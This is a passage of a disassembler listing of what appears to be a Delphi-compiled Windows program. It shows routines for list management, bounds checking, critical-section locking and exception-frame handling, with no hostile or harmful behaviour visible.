		jz	short loc_4001343F
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4001343F:				; CODE XREF: sub_400133D4+5Aj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400133D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013448	proc near		; DATA XREF: .text:4001325Co
		push	ebx
		push	esi
		push	edi
		push	ebp
		call	sub_40003FD8
		mov	ebx, edx
		mov	ebp, eax
		lea	eax, [ebp+8]
		push	eax
		call	sub_40006518	; RtlDeleteCriticalSection
		mov	eax, [ebp+4]
		test	eax, eax
		jz	short loc_40013483
		mov	esi, [eax+8]
		dec	esi
		test	esi, esi
		jl	short loc_40013483
		inc	esi
		xor	edi, edi


loc_40013470:				; CODE XREF: sub_40013448+39j
		mov	eax, [ebp+4]
		mov	edx, edi
		call	sub_400137FC
		call	sub_40003CE8
		inc	edi
		dec	esi
		jnz	short loc_40013470


loc_40013483:				; CODE XREF: sub_40013448+1Bj
					; sub_40013448+23j
		mov	eax, [ebp+4]
		call	sub_40003CE8
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, ebp
		call	sub_40003CD8
		test	bl, bl
		jle	short loc_400134A2
		mov	eax, ebp
		call	sub_40003F80


loc_400134A2:				; CODE XREF: sub_40013448+51j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40013448	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400134A8	proc near		; CODE XREF: sub_40013510+Bp
		add	eax, 8
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		retn
sub_400134A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400134B4	proc near		; CODE XREF: sub_40013510+3Cp
		add	eax, 8
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
sub_400134B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400134C0	proc near		; CODE XREF: sub_40013510+25p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	eax, [edi+4]
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013509


loc_400134D4:				; CODE XREF: sub_400134C0+47j
		mov	eax, [edi+4]
		mov	edx, ebx
		call	sub_400137FC
		mov	esi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_40013328
		mov	eax, [esi+0Ch]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40013503
		mov	eax, esi
		call	sub_40003CE8
		mov	eax, [edi+4]
		mov	edx, ebx
		call	sub_40013708


loc_40013503:				; CODE XREF: sub_400134C0+30j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_400134D4


loc_40013509:				; CODE XREF: sub_400134C0+12j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400134C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013510	proc near		; CODE XREF: sub_40013ECCp
					; sub_40013ED4+1Ep
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ds:dword_4001F2D8
		call	sub_400134A8
		xor	eax, eax
		push	ebp
		push	offset loc_40013552
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		mov	eax, ds:dword_4001F2D8
		call	sub_400134C0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013559


loc_40013547:				; CODE XREF: sub_40013510+47j
		mov	eax, ds:dword_4001F2D8
		call	sub_400134B4
		retn
; ---------------------------------------------------------------------------


loc_40013552:				; DATA XREF: sub_40013510+13o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013547
; ---------------------------------------------------------------------------


loc_40013559:				; CODE XREF: sub_40013510+41j
					; DATA XREF: sub_40013510+32o
		pop	ebx
		pop	ebp
		retn
sub_40013510	endp

; ---------------------------------------------------------------------------
off_4001355C	dd offset dword_400135A8 ; DATA	XREF: sub_400135EC+Fr
		dd 7 dup(0)
		dd offset dword_400135A8
		dd 10h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400135A8	dd 6E495409h, 6E6F4374h, 0C08B7473h					; .text:4001357Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400135B4	proc near		; CODE XREF: sub_400135EC+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		test	dl, dl
		jz	short loc_400135C3
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_400135C3:				; CODE XREF: sub_400135B4+5j
		mov	[eax+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax+0Ch], ecx
		test	dl, dl
		jz	short loc_400135E5
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_400135E5:				; CODE XREF: sub_400135B4+20j
		pop	ebp
		retn	8
sub_400135B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400135EC	proc near		; CODE XREF: .itext:4001937Dp
					; .itext:40019391p
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_4001355C
		call	sub_400135B4
		mov	edx, eax
		mov	eax, ds:dword_4001F2D4
		call	sub_40013A1C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400135EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013618	proc near		; CODE XREF: sub_40014D7C+7p
					; .text:40014F57p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jl	short loc_4001364E
		inc	esi
		lea	ebx, [ecx+4]


loc_4001362F:				; CODE XREF: sub_40013618+34j
		mov	edx, edi
		mov	eax, [ebx]
		call	sub_40007B90
		test	al, al
		jz	short loc_40013648
		mov	al, 1
		mov	edx, [ebp+var_4]
		mov	ecx, [ebx-4]
		mov	[edx], ecx
		jmp	short loc_40013650
; ---------------------------------------------------------------------------


loc_40013648:				; CODE XREF: sub_40013618+22j
		add	ebx, 8
		dec	esi
		jnz	short loc_4001362F


loc_4001364E:				; CODE XREF: sub_40013618+11j
		xor	eax, eax


loc_40013650:				; CODE XREF: sub_40013618+2Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_40013618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013658	proc near		; CODE XREF: sub_40014D6C+7p
					; .text:40014F47p

var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jl	short loc_4001368B
		inc	esi
		mov	ebx, [ebp+var_4]


loc_40013671:				; CODE XREF: sub_40013658+31j
		cmp	eax, [ebx]
		jnz	short loc_40013685
		mov	[ebp+var_5], 1
		mov	eax, edi
		mov	edx, [ebx+4]
		call	sub_400048D8
		jmp	short loc_4001368F
; ---------------------------------------------------------------------------


loc_40013685:				; CODE XREF: sub_40013658+1Bj
		add	ebx, 8
		dec	esi
		jnz	short loc_40013671


loc_4001368B:				; CODE XREF: sub_40013658+13j
		mov	[ebp+var_5], 0


loc_4001368F:				; CODE XREF: sub_40013658+2Bj
		movzx	eax, [ebp+var_5]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_40013658	endp


; =============== S U B	R O U T	I N E =======================================



sub_4001369C	proc near		; DATA XREF: .text:40013088o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+8]
		test	bl, bl
		jle	short loc_400136B9
		mov	eax, esi
		call	sub_40003F80


loc_400136B9:				; CODE XREF: sub_4001369C+14j
		pop	esi
		pop	ebx
		retn
sub_4001369C	endp


; =============== S U B	R O U T	I N E =======================================



sub_400136BC	proc near		; CODE XREF: sub_4001326C+38p
					; sub_400133D4+4Dp ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	esi, [ebx+8]
		cmp	esi, [ebx+0Ch]
		jnz	short loc_400136D1
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx]


loc_400136D1:				; CODE XREF: sub_400136BC+Dj
		mov	eax, [ebx+4]
		mov	[eax+esi*4], edi
		inc	dword ptr [ebx+8]
		test	edi, edi
		jz	short loc_400136E9
		xor	ecx, ecx
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]


loc_400136E9:				; CODE XREF: sub_400136BC+20j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400136BC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400136F0	proc near		; DATA XREF: .text:40013094o
		push	ebx
		mov	ebx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_400138D4
		xor	edx, edx
		mov	eax, ebx
		call	sub_40013898
		pop	ebx
		retn
sub_400136F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013708	proc near		; CODE XREF: sub_40013328+2Dp
					; sub_40013328+62p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40013718
		cmp	esi, [ebx+8]
		jl	short loc_40013727


loc_40013718:				; CODE XREF: sub_40013708+9j
		mov	edx, off_4001B05C
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_400137A8


loc_40013727:				; CODE XREF: sub_40013708+Ej
		mov	edx, esi
		mov	eax, ebx
		call	sub_400137FC
		mov	edi, eax
		dec	dword ptr [ebx+8]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jge	short loc_40013756
		sub	eax, esi
		mov	ecx, eax
		add	ecx, ecx
		add	ecx, ecx
		mov	eax, [ebx+4]
		lea	edx, [eax+esi*4]
		mov	eax, [ebx+4]
		lea	eax, [eax+esi*4+4]
		call	sub_40002DFC


loc_40013756:				; CODE XREF: sub_40013708+32j
		test	edi, edi
		jz	short loc_40013765
		mov	cl, 2
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]


loc_40013765:				; CODE XREF: sub_40013708+50j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40013708	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001376C	proc near		; CODE XREF: sub_40013770+9p
		mov	eax, [ebp+4]
		retn
sub_4001376C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40013770	proc near		; CODE XREF: sub_400137A8+2Dp
					; DATA XREF: .text:40013098o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, ecx
		mov	ebx, edx
		call	sub_4001376C
		push	eax
		mov	[esp+14h+var_10], esi
		mov	[esp+14h+var_C], 0
		lea	eax, [esp+14h+var_10]
		push	eax
		push	0
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_40012F88
		call	sub_4000B06C
		jmp	sub_400042E4
sub_40013770	endp

; ---------------------------------------------------------------------------
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400137A8	proc near		; CODE XREF: sub_40013708+1Ap
					; sub_400137FC+19p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, edx
		xor	eax, eax
		push	ebp
		push	offset loc_400137F0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_400062F0
		mov	edx, [ebp+var_4]
		mov	ecx, esi
		mov	eax, ds:off_40013040
		call	sub_40013770
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400137F7


loc_400137E7:				; CODE XREF: sub_400137A8+4Dj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_400137F0:				; DATA XREF: sub_400137A8+Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400137E7
; ---------------------------------------------------------------------------


loc_400137F7:				; CODE XREF: sub_400137A8+47j
					; DATA XREF: sub_400137A8+3Ao
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_400137A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_400137FC	proc near		; CODE XREF: sub_40013328+18p
					; sub_40013328+4Dp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_4001380B
		cmp	esi, [ebx+8]
		jl	short loc_4001381A


loc_4001380B:				; CODE XREF: sub_400137FC+8j
		mov	edx, off_4001B05C
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_400137A8


loc_4001381A:				; CODE XREF: sub_400137FC+Dj
		mov	eax, [ebx+4]
		mov	eax, [eax+esi*4]
		pop	esi
		pop	ebx
		retn
sub_400137FC	endp

; ---------------------------------------------------------------------------
		align 4


loc_40013824:				; DATA XREF: .text:off_4001308Co
		mov	edx, [eax+0Ch]
		cmp	edx, 40h
		jle	short loc_4001383A
		mov	ecx, edx
		test	ecx, ecx
		jns	short loc_40013835
		add	ecx, 3


loc_40013835:				; CODE XREF: .text:40013830j
		sar	ecx, 2
		jmp	short loc_4001384B
; ---------------------------------------------------------------------------


loc_4001383A:				; CODE XREF: .text:4001382Aj
		cmp	edx, 8
		jle	short loc_40013846
		mov	ecx, 10h
		jmp	short loc_4001384B
; ---------------------------------------------------------------------------


loc_40013846:				; CODE XREF: .text:4001383Dj
		mov	ecx, 4


loc_4001384B:				; CODE XREF: .text:40013838j
					; .text:40013844j
		add	ecx, edx
		mov	edx, ecx
		call	sub_40013898
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013858	proc near		; CODE XREF: sub_40013878+6p
					; sub_40013A1C+31p
		push	ebx
		xor	ecx, ecx
		jmp	short loc_4001385E
; ---------------------------------------------------------------------------


loc_4001385D:				; CODE XREF: sub_40013858+11j
		inc	ecx


loc_4001385E:				; CODE XREF: sub_40013858+3j
		cmp	ecx, [eax+8]
		jge	short loc_4001386B
		mov	ebx, [eax+4]
		cmp	edx, [ebx+ecx*4]
		jnz	short loc_4001385D


loc_4001386B:				; CODE XREF: sub_40013858+9j
		cmp	ecx, [eax+8]
		jnz	short loc_40013873
		or	ecx, 0FFFFFFFFh


loc_40013873:				; CODE XREF: sub_40013858+16j
		mov	eax, ecx
		pop	ebx
		retn
sub_40013858	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013878	proc near		; CODE XREF: sub_40013AB8+28p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40013858
		mov	esi, eax
		test	esi, esi
		jl	short loc_40013892
		mov	edx, esi
		mov	eax, ebx
		call	sub_40013708


loc_40013892:				; CODE XREF: sub_40013878+Fj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40013878	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013898	proc near		; CODE XREF: sub_400136F0+10p
					; .text:4001384Fp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	esi, [ebx+8]
		jl	short loc_400138AB
		cmp	esi, 7FFFFFFh
		jle	short loc_400138BA


loc_400138AB:				; CODE XREF: sub_40013898+9j
		mov	edx, off_4001AFE4
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_400137A8


loc_400138BA:				; CODE XREF: sub_40013898+11j
		cmp	esi, [ebx+0Ch]
		jz	short loc_400138D0
		mov	edx, esi
		add	edx, edx
		add	edx, edx
		lea	eax, [ebx+4]
		call	sub_40002C54
		mov	[ebx+0Ch], esi


loc_400138D0:				; CODE XREF: sub_40013898+25j
		pop	esi
		pop	ebx
		retn
sub_40013898	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400138D4	proc near		; CODE XREF: sub_400136F0+7p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_400138E8
		cmp	esi, 7FFFFFFh
		jle	short loc_400138F7


loc_400138E8:				; CODE XREF: sub_400138D4+Aj
		mov	edx, off_4001AFA0
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_400137A8


loc_400138F7:				; CODE XREF: sub_400138D4+12j
		cmp	esi, [ebx+0Ch]
		jle	short loc_40013905
		mov	edx, esi
		mov	eax, ebx
		call	sub_40013898


loc_40013905:				; CODE XREF: sub_400138D4+26j
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_40013926
		mov	edx, [ebx+4]
		lea	edx, [edx+eax*4]
		mov	ecx, esi
		sub	ecx, eax
		mov	eax, ecx
		add	eax, eax
		add	eax, eax
		xor	ecx, ecx
		xchg	eax, edx
		call	sub_40003580
		jmp	short loc_4001393D
; ---------------------------------------------------------------------------


loc_40013926:				; CODE XREF: sub_400138D4+36j
		mov	ebp, eax
		dec	ebp
		mov	edi, esi
		sub	edi, ebp
		jg	short loc_4001393D
		dec	edi


loc_40013930:				; CODE XREF: sub_400138D4+67j
		mov	edx, ebp
		mov	eax, ebx
		call	sub_40013708
		dec	ebp
		inc	edi
		jnz	short loc_40013930


loc_4001393D:				; CODE XREF: sub_400138D4+50j
					; sub_400138D4+59j
		mov	[ebx+8], esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400138D4	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001394C	proc near		; CODE XREF: sub_400191F8+60p
					; sub_400191F8+71p ...
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_4001395A
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4001395A:				; CODE XREF: sub_4001394C+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_40003CB8
		lea	eax, [esi+8]
		push	eax
		call	sub_400065E0	; InitializeCriticalSection
		mov	dl, 1
		mov	eax, ds:off_40013040
		call	sub_40003CB8
		mov	[esi+4], eax
		mov	byte ptr [esi+20h], 0
		mov	eax, esi
		test	bl, bl
		jz	short loc_40013998
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40013998:				; CODE XREF: sub_4001394C+3Bj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4001394C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400139A0	proc near		; DATA XREF: .text:400130ECo

var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_40003FD8
		mov	[ebp+var_5], dl
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40013AA4
		xor	eax, eax
		push	ebp
		push	offset loc_40013A03
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_40003CE8
		movzx	edx, [ebp+var_5]
		and	dl, 0FCh
		mov	eax, [ebp+var_4]
		call	sub_40003CD8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013A0A


loc_400139EE:				; CODE XREF: sub_400139A0+68j
		mov	eax, [ebp+var_4]
		call	sub_40013B08
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_40006518	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_40013A03:				; DATA XREF: sub_400139A0+1Co
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400139EE
; ---------------------------------------------------------------------------


loc_40013A0A:				; DATA XREF: sub_400139A0+49o
		cmp	[ebp+var_5], 0
		jle	short loc_40013A18
		mov	eax, [ebp+var_4]
		call	sub_40003F80


loc_40013A18:				; CODE XREF: sub_400139A0+6Ej
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_400139A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013A1C	proc near		; CODE XREF: sub_400135EC+20p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40013AA4
		xor	eax, eax
		push	ebp
		push	offset loc_40013A98
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+20h], 1
		jz	short loc_40013A55
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_40013858
		inc	eax
		jnz	short loc_40013A64


loc_40013A55:				; CODE XREF: sub_40013A1C+27j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_400136BC
		jmp	short loc_40013A82
; ---------------------------------------------------------------------------


loc_40013A64:				; CODE XREF: sub_40013A1C+37j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+20h], 2
		jnz	short loc_40013A82
		mov	edx, off_4001AF90
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	eax, [eax]
		mov	ecx, ebx
		call	sub_400137A8


loc_40013A82:				; CODE XREF: sub_40013A1C+46j
					; sub_40013A1C+4Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013A9F


loc_40013A8F:				; CODE XREF: sub_40013A1C+81j
		mov	eax, [ebp+var_4]
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013A98:				; DATA XREF: sub_40013A1C+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013A8F
; ---------------------------------------------------------------------------


loc_40013A9F:				; CODE XREF: sub_40013A1C+7Bj
					; DATA XREF: sub_40013A1C+6Eo
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40013A1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013AA4	proc near		; CODE XREF: sub_400139A0+14p
					; sub_40013A1C+Dp ...
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+8]
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		mov	eax, [ebx+4]
		pop	ebx
		retn
sub_40013AA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013AB8	proc near		; CODE XREF: sub_40015840+79p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40013AA4
		xor	eax, eax
		push	ebp
		push	offset loc_40013AFB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_40013878
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013B02


loc_40013AF2:				; CODE XREF: sub_40013AB8+48j
		mov	eax, [ebp+var_4]
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013AFB:				; DATA XREF: sub_40013AB8+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013AF2
; ---------------------------------------------------------------------------


loc_40013B02:				; CODE XREF: sub_40013AB8+42j
					; DATA XREF: sub_40013AB8+35o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40013AB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013B08	proc near		; CODE XREF: sub_400139A0+51p
					; sub_40013A1C+76p ...
		add	eax, 8
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
sub_40013B08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013B14	proc near		; DATA XREF: .text:40013144o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40013D90
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40003CD8
		test	bl, bl
		jle	short loc_40013B3D
		mov	eax, esi
		call	sub_40003F80


loc_40013B3D:				; CODE XREF: sub_40013B14+20j
		pop	esi
		pop	ebx
		retn
sub_40013B14	endp


; =============== S U B	R O U T	I N E =======================================



sub_40013B40	proc near		; DATA XREF: .text:40013150o
		test	edx, edx
		jz	short loc_40013B4A
		xchg	eax, edx
		mov	ecx, [eax]
		call	dword ptr [ecx]
		retn
; ---------------------------------------------------------------------------


loc_40013B4A:				; CODE XREF: sub_40013B40+2j
		xor	edx, edx
		call	sub_40013B54
		retn
sub_40013B40	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013B54	proc near		; CODE XREF: sub_40013B40+Cp
					; .text:40013C25p

var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013C0A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	esi, esi
		jz	short loc_40013B97
		lea	edx, [ebp+var_104]
		mov	eax, [esi]
		call	sub_40003C6C
		lea	edx, [ebp+var_104]
		lea	eax, [ebp+var_4]
		call	sub_40004AE8
		jmp	short loc_40013BA4
; ---------------------------------------------------------------------------


loc_40013B97:				; CODE XREF: sub_40013B54+24j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_40013C20
		call	sub_4000491C


loc_40013BA4:				; CODE XREF: sub_40013B54+41j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_114], eax
		mov	[ebp+var_110], 0Bh
		lea	edx, [ebp+var_104]
		mov	eax, [ebx]
		call	sub_40003C6C
		lea	eax, [ebp+var_104]
		mov	[ebp+var_10C], eax
		mov	[ebp+var_108], 4
		lea	eax, [ebp+var_114]
		push	eax
		push	1
		mov	ecx, off_4001AFAC
		mov	dl, 1
		mov	eax, ds:off_400073E4
		call	sub_4000B128
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013C11


loc_40013C01:				; CODE XREF: sub_40013B54+BBj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40013C0A:				; DATA XREF: sub_40013B54+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013C01
; ---------------------------------------------------------------------------


loc_40013C11:				; CODE XREF: sub_40013B54+B5j
					; DATA XREF: sub_40013B54+A8o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40013B54	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 3
dword_40013C20	dd 6C696Eh	; ---------------------------------------------------------------------------


loc_40013C24:				; DATA XREF: .text:off_40013148o
		xchg	eax, edx
		call	sub_40013B54
		retn
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013C30	proc near		; DATA XREF: .text:4001315Eo

var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013CC5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_104]
		mov	eax, [ebx]
		call	sub_40003C6C
		lea	edx, [ebp+var_104]
		mov	eax, edi
		call	sub_40004AE8
		mov	eax, ebx
		mov	si, 0FFFFh
		call	sub_40003EC8
		test	eax, eax
